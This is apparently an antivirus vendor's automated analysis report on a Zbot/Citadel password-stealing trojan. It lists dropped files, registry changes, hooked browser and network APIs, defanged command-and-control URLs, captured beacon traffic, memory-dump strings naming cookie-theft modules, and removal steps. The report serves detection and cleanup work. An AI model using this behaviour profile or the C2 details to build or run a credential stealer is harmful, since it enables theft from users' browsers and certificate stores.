TrojanPSW.Win32.Zbot_a32a416dfa

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan-PSW creates the following process(es):

uqtu.exe:1344
%original file name%.exe:1800

The Trojan-PSW injects its code into the following process(es):

Explorer.EXE:840

File activity

The process %original file name%.exe:1800 makes changes in the file system.

The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\tmp8bd1af1c.bat (177 bytes)
%Documents and Settings%\%current user%\Application Data\Owhefe\uqtu.exe (294 bytes)

Registry activity

The process uqtu.exe:1344 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "1E 7F A1 A0 7D 9A 9F ED B7 11 CE 57 31 D1 1B 97"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process %original file name%.exe:1800 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7E F4 CB 94 85 0A 22 36 A2 08 80 61 AE 13 AD 29"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

Dropped PE files

MD5	File path
cddb3ac6d4f0e6f52e15379f97d7800d	c:\Documents and Settings\"%CurrentUserName%"\Application Data\Owhefe\uqtu.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan-PSW installs the following user-mode hooks in WINMM.dll:

PlaySoundW

The Trojan-PSW installs the following user-mode hooks in WININET.dll:

HttpEndRequestW
HttpEndRequestA
HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetSetFilePointer
InternetQueryDataAvailable
HttpOpenRequestW
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle
HttpOpenRequestA

The Trojan-PSW installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan-PSW installs the following user-mode hooks in USER32.dll:

SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC

The Trojan-PSW installs the following user-mode hooks in ADVAPI32.dll:

CreateProcessAsUserA
CreateProcessAsUserW

The Trojan-PSW installs the following user-mode hooks in WS2_32.dll:

WSASend
gethostbyname
send
closesocket
getaddrinfo

The Trojan-PSW installs the following user-mode hooks in kernel32.dll:

ExitProcess
GetFileAttributesExW

The Trojan-PSW installs the following user-mode hooks in ntdll.dll:

NtCreateThread

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Scan a system with an anti-rootkit tool.
   
2. Terminate malicious process(es) (How to End a Process With the Task Manager):

   uqtu.exe:1344
   %original file name%.exe:1800
   

3. Delete the original Trojan-PSW file.
   
4. Delete or disinfect the following files created/modified by the Trojan-PSW:

   %Documents and Settings%\%current user%\Local Settings\Temp\tmp8bd1af1c.bat (177 bytes)
   %Documents and Settings%\%current user%\Application Data\Owhefe\uqtu.exe (294 bytes)

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: Jetico, Inc.
Product Name: Jetico, Inc. BCResident
Product Version: 2.11.8
Legal Copyright: Copyright (c) 1997-2011
Legal Trademarks:
Original Filename: BCResident.exe
Internal Name: BCResident
File Version: 2.11.8
File Description: BCResident
Comments:
Language: Language Neutral

Company Name: Jetico, Inc.Product Name: Jetico, Inc. BCResidentProduct Version: 2.11.8Legal Copyright: Copyright (c) 1997-2011Legal Trademarks: Original Filename: BCResident.exeInternal Name: BCResidentFile Version: 2.11.8File Description: BCResidentComments: Language: Language Neutral

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	54513	54784	4.60236	214c41583e0dcbf9dea9c0f6385fdacf
.rdata	61440	16194	16384	3.74368	38abc0e82822763f727c07d72ea2ab63
.ndata	77824	21932	9216	4.09575	90561a91973a24b11b7c3627550ed08f
.rsrc	102400	212172	212480	4.79481	fad0dbe48e65b826e0dd1d3e3200c6a9

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://87.236.102.249/stnxhje/file.php
hxxp://www.slangenhaken.nl/stnxhje/file.php

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

POST /stnxhje/file.php HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.slangenhaken.nl

Content-Length: 131

Connection: Keep-Alive

Cache-Control: no-cache

..S.vs.......>.2.Z.g.N...N.....K.<I.......P.JN....K..../.A........m.1.s......Z..q[...0tQ?..$....H.....\.f....5.U1.\.Q*.

O. Fc.(.y.

HTTP/1.1 301 Moved Permanently

Date: Sun, 01 Jun 2014 05:14:37 GMT

Server: Apache/2

Location: hXXps://VVV.slangenhaken.nl/stnxhje/file.php

Content-Length: 323

Keep-Alive: timeout=1, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="hXXps://VVV.slangenhaken.nl/stnxhje/file.php">here</a>.</p>.<hr>.<address>Apache/2 Server at VVV.slangenhaken.nl Port 80</address>.</body></html>...

POST /stnxhje/file.php HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.slangenhaken.nl

Content-Length: 131

Connection: Keep-Alive

Cache-Control: no-cache

..S.vs.......>.2.Z.g.N...N.....K.<I.......P.JN....K..../.A........m.1.s......Z..q[...0tQ?..$....H.....\.f....5.U1.\.Q*.

O. Fc.(.y.

HTTP/1.1 301 Moved Permanently

Date: Sun, 01 Jun 2014 05:14:36 GMT

Server: Apache/2

Location: hXXps://VVV.slangenhaken.nl/stnxhje/file.php

Content-Length: 323

Keep-Alive: timeout=1, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="hXXps://VVV.slangenhaken.nl/stnxhje/file.php">here</a>.</p>.<hr>.<address>Apache/2 Server at VVV.slangenhaken.nl Port 80</address>.</body></html>...

Map

The Trojan-PSW connects to the servers at the folowing location(s):

Strings from Dumps

Explorer.EXE_840_rwx_01DC0000_0003B000:

.text

.text

`.data

`.data

.reloc

.reloc

%s, u %s %u u:u:u GMT

%s, u %s %u u:u:u GMT

HTTP/1.1

HTTP/1.1

HTTP/1.0

HTTP/1.0

http://

http://

; charset=%s

; charset=%s

HTTP/1.1 %u %s

HTTP/1.1 %u %s

Date: %s

Date: %s

Content-Length: %u

Content-Length: %u

Expires: %s

Expires: %s

Content-Type: %s%s

Content-Type: %s%s

ID: %s

ID: %s

value_%s

value_%s

value_%s_%s

value_%s_%s

%s = "%s";

%s = "%s";

update.exe

update.exe

config.bin

config.bin

PR_OpenTCPSocket

PR_OpenTCPSocket

cit_ffcookie.module

cit_ffcookie.module

cit_video.module

cit_video.module

F@[D].PcS=Y9

F@[D].PcS=Y9

%ds~U;MM

%ds~U;MM

userenv.dll

userenv.dll

del "%s"

del "%s"

if exist "%s" goto d

if exist "%s" goto d

del /F "%s"

del /F "%s"

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)

urlmon.dll

urlmon.dll

cabinet.dll

cabinet.dll

http://xxxxxxxx.com/xxxx/xxxx.php

http://xxxxxxxx.com/xxxx/xxxx.php

%s%s%s

%s%s%s

gdiplus.dll

gdiplus.dll

GdiplusShutdown

GdiplusShutdown

ole32.dll

ole32.dll

gdi32.dll

gdi32.dll

6;:5;66"

6;:5;66"

,1;(,; = 1

,1;(,; = 1

<! 8="8"><pre>'472%9,{</pre><pre>F@ICTQ}cRTWAunO}mmts}NX~csgzn~)[jzyemer\]ika</pre><pre>8/3.xae4LOa</pre><pre>6 !26!1'1!</pre><pre>https://</pre><pre>HTTP/1.</pre><pre>facebook.com</pre><pre>Cookie: %s</pre><pre>Referer: %s</pre><pre>Accept: %s</pre><pre>Accept-Language: %s</pre><pre>Accept-Encoding: %s</pre><pre>_getFirefoxCookie</pre><pre>http://www.google.com/webhp</pre><pre>SSShD</pre><pre>SSShXe</pre><pre>SSShye</pre><pre>GetProcessHeap</pre><pre>CreatePipe</pre><pre>KERNEL32.dll</pre><pre>MsgWaitForMultipleObjects</pre><pre>OpenWindowStationW</pre><pre>GetProcessWindowStation</pre><pre>CreateWindowStationW</pre><pre>CloseWindowStation</pre><pre>SetProcessWindowStation</pre><pre>SetKeyboardState</pre><pre>ExitWindowsEx</pre><pre>GetKeyboardState</pre><pre>MapVirtualKeyW</pre><pre>GetKeyboardLayoutList</pre><pre>USER32.dll</pre><pre>RegCreateKeyExW</pre><pre>RegOpenKeyExW</pre><pre>RegCloseKey</pre><pre>RegCreateKeyW</pre><pre>RegEnumKeyW</pre><pre>RegQueryInfoKeyW</pre><pre>RegEnumKeyExW</pre><pre>ADVAPI32.dll</pre><pre>UrlUnescapeA</pre><pre>SHDeleteKeyW</pre><pre>PathIsURLW</pre><pre>SHLWAPI.dll</pre><pre>ShellExecuteW</pre><pre>SHELL32.dll</pre><pre>Secur32.dll</pre><pre>SetViewportOrgEx</pre><pre>GDI32.dll</pre><pre>WS2_32.dll</pre><pre>PFXImportCertStore</pre><pre>CertDeleteCertificateFromStore</pre><pre>CertOpenSystemStoreW</pre><pre>CertCloseStore</pre><pre>CertEnumCertificatesInStore</pre><pre>CertDuplicateCertificateContext</pre><pre>PFXExportCertStoreEx</pre><pre>CRYPT32.dll</pre><pre>HttpSendRequestExA</pre><pre>HttpQueryInfoA</pre><pre>HttpSendRequestExW</pre><pre>HttpSendRequestW</pre><pre>HttpOpenRequestA</pre><pre>HttpOpenRequestW</pre><pre>HttpEndRequestA</pre><pre>HttpSendRequestA</pre><pre>HttpEndRequestW</pre><pre>InternetCrackUrlA</pre><pre>HttpAddRequestHeadersW</pre><pre>GetUrlCacheEntryInfoW</pre><pre>HttpAddRequestHeadersA</pre><pre>WININET.dll</pre><pre>OLEAUT32.dll</pre><pre>NETAPI32.dll</pre><pre>VERSION.dll</pre><pre>WINMM.dll</pre><pre>PSSSSSSh</pre><pre>l.bSw</pre><pre>/.GSc</pre><pre>3$3*30383</pre><pre>6|7k7u7</pre><pre>9 :1:::@:</pre><pre>42>204:4</pre><pre>sXXXX</pre><pre>nspr4.dll</pre><pre>chrome.dll</pre><pre>\StringFileInfo\xx\%s</pre><pre>ntdll.dll</pre><pre>kernel32.dll</pre><pre>"%s" %s</pre><pre>/c "%s"</pre><pre>%sx.%s</pre><pre>%sx</pre><pre>SELECT * FROM %s</pre><pre>Company: %s</pre><pre>Product: %s</pre><pre>Version: %s</pre><pre>Software\Microsoft\Windows\CurrentVersion\Uninstall</pre><pre>%u: %s | %s | %s</pre><pre>Global\XXX</pre><pre>SysShadow</pre><pre>Chrome</pre><pre>Firefox</pre><pre>%Documents and Settings%\%current user%\Application Data</pre><pre>{BFF5FDA4-C742-B43A-F8A6-8FFAF0EC7065}</pre><pre>%Documents and Settings%\%current user%\Application Data\Zayr\ebima.nuw</pre><pre>%Documents and Settings%\%current user%\Application Data\Zayr</pre><pre>ebima.nuw</pre><pre>Global\{298E4F81-7567-2241-F8A6-8FFAF0EC7065}</pre><pre>%Documents and Settings%\%current user%\Application Data\Ruhyub\guyf.dog</pre><pre>%Documents and Settings%\%current user%\Application Data\Ruhyub</pre><pre>guyf.dog</pre></!>